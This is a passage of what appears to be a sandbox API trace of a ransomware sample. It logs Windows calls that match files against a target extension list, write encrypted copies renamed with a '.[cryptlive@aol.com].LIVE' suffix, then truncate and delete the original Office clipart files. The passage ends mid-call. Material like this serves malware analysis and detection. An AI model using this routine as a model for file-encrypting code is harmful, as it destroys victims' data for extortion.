lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".dbf") returned 4 [0134.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.223] lstrlenW (lpString=".1cd") returned 4 [0134.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.223] lstrlenW (lpString=".jpg") returned 4 [0134.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.223] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.223] lstrlenW (lpString="AN04323_.WMF") returned 12 [0134.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.224] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2492) returned 1 [0134.224] CloseHandle (hObject=0x384) returned 1 [0134.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0134.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.224] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.224] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.225] GetLastError () returned 0x0 [0134.225] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x9bc, lpOverlapped=0x0) returned 1 [0134.442] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0134.443] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.443] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.443] SetEndOfFile (hFile=0x39c) returned 1 [0134.443] CloseHandle (hObject=0x39c) returned 1 [0134.443] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.443] SetEndOfFile (hFile=0x384) returned 1 [0134.461] CloseHandle (hObject=0x384) returned 1 [0134.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString=".doc") returned 4 [0134.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString=".docx") returned 5 [0134.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.536] lstrlenW (lpString=".pdf") returned 4 [0134.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString=".xls") returned 4 [0134.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.536] lstrlenW (lpString=".xlsx") returned 5 [0134.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.536] lstrlenW (lpString=".ppt") returned 4 [0134.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString=".zip") returned 4 [0134.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.536] lstrlenW (lpString=".rar") returned 4 [0134.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString=".bz2") returned 4 [0134.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString=".7z") returned 3 [0134.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString=".dbf") returned 4 [0134.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString=".1cd") returned 4 [0134.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.536] lstrlenW (lpString=".jpg") returned 4 [0134.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString=".doc") returned 4 [0134.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString=".docx") returned 5 [0134.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.537] lstrlenW (lpString=".pdf") returned 4 [0134.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString=".xls") returned 4 [0134.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.537] lstrlenW (lpString=".xlsx") returned 5 [0134.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.537] lstrlenW (lpString=".ppt") returned 4 [0134.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString=".zip") returned 4 [0134.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.537] lstrlenW (lpString=".rar") returned 4 [0134.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString=".bz2") returned 4 [0134.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString=".7z") returned 3 [0134.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString=".dbf") returned 4 [0134.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString=".1cd") returned 4 [0134.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0134.537] lstrlenW (lpString=".jpg") returned 4 [0134.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.538] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.538] lstrlenW (lpString="AN04369_.WMF") returned 12 [0134.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.708] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4808) returned 1 [0134.708] CloseHandle (hObject=0x38c) returned 1 [0134.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0134.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.785] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.785] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.786] GetLastError () returned 0x0 [0134.786] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x12c8, lpOverlapped=0x0) returned 1 [0134.788] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0134.789] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.789] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.789] SetEndOfFile (hFile=0x384) returned 1 [0134.789] CloseHandle (hObject=0x384) returned 1 [0134.790] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.790] SetEndOfFile (hFile=0x350) returned 1 [0134.792] CloseHandle (hObject=0x350) returned 1 [0134.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0134.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.793] lstrlenW (lpString=".doc") returned 4 [0134.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.793] lstrlenW (lpString=".docx") returned 5 [0134.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.793] lstrlenW (lpString=".pdf") returned 4 [0134.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.793] lstrlenW (lpString=".xls") returned 4 [0134.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.793] lstrlenW (lpString=".xlsx") returned 5 [0134.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.793] lstrlenW (lpString=".ppt") returned 4 [0134.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.793] lstrlenW (lpString=".zip") returned 4 [0134.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.793] lstrlenW (lpString=".rar") returned 4 [0134.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.793] lstrlenW (lpString=".bz2") returned 4 [0134.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.793] lstrlenW (lpString=".7z") returned 3 [0134.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString=".dbf") returned 4 [0134.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString=".1cd") returned 4 [0134.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString=".jpg") returned 4 [0134.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString=".doc") returned 4 [0134.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString=".docx") returned 5 [0134.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.794] lstrlenW (lpString=".pdf") returned 4 [0134.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString=".xls") returned 4 [0134.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.794] lstrlenW (lpString=".xlsx") returned 5 [0134.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.794] lstrlenW (lpString=".ppt") returned 4 [0134.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.794] lstrlenW (lpString=".zip") returned 4 [0134.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.794] lstrlenW (lpString=".rar") returned 4 [0134.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString=".bz2") returned 4 [0134.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.794] lstrlenW (lpString=".7z") returned 3 [0134.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.795] lstrlenW (lpString=".dbf") returned 4 [0134.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.795] lstrlenW (lpString=".1cd") returned 4 [0134.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0134.795] lstrlenW (lpString=".jpg") returned 4 [0134.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.795] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.796] lstrlenW (lpString="BD00116_.WMF") returned 12 [0134.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.797] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4870) returned 1 [0134.797] CloseHandle (hObject=0x350) returned 1 [0134.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0134.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.797] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.797] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.798] GetLastError () returned 0x0 [0134.798] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1306, lpOverlapped=0x0) returned 1 [0134.800] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1310, lpOverlapped=0x0) returned 1 [0134.801] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.801] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.801] SetEndOfFile (hFile=0x384) returned 1 [0134.801] CloseHandle (hObject=0x384) returned 1 [0134.801] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.801] SetEndOfFile (hFile=0x350) returned 1 [0134.804] CloseHandle (hObject=0x350) returned 1 [0134.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0134.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.805] lstrlenW (lpString=".doc") returned 4 [0134.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.805] lstrlenW (lpString=".docx") returned 5 [0134.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.805] lstrlenW (lpString=".pdf") returned 4 [0134.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.805] lstrlenW (lpString=".xls") returned 4 [0134.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.805] lstrlenW (lpString=".xlsx") returned 5 [0134.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.805] lstrlenW (lpString=".ppt") returned 4 [0134.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.805] lstrlenW (lpString=".zip") returned 4 [0134.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.806] lstrlenW (lpString=".rar") returned 4 [0134.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".bz2") returned 4 [0134.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".7z") returned 3 [0134.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.806] lstrlenW (lpString=".dbf") returned 4 [0134.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.806] lstrlenW (lpString=".1cd") returned 4 [0134.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.806] lstrlenW (lpString=".jpg") returned 4 [0134.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.806] lstrlenW (lpString=".doc") returned 4 [0134.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".docx") returned 5 [0134.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.806] lstrlenW (lpString=".pdf") returned 4 [0134.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".xls") returned 4 [0134.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.806] lstrlenW (lpString=".xlsx") returned 5 [0134.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.806] lstrlenW (lpString=".ppt") returned 4 [0134.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.807] lstrlenW (lpString=".zip") returned 4 [0134.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.807] lstrlenW (lpString=".rar") returned 4 [0134.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".bz2") returned 4 [0134.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".7z") returned 3 [0134.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.807] lstrlenW (lpString=".dbf") returned 4 [0134.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.807] lstrlenW (lpString=".1cd") returned 4 [0134.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0134.807] lstrlenW (lpString=".jpg") returned 4 [0134.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.807] lstrcmpiW (lpString1=".WMF", 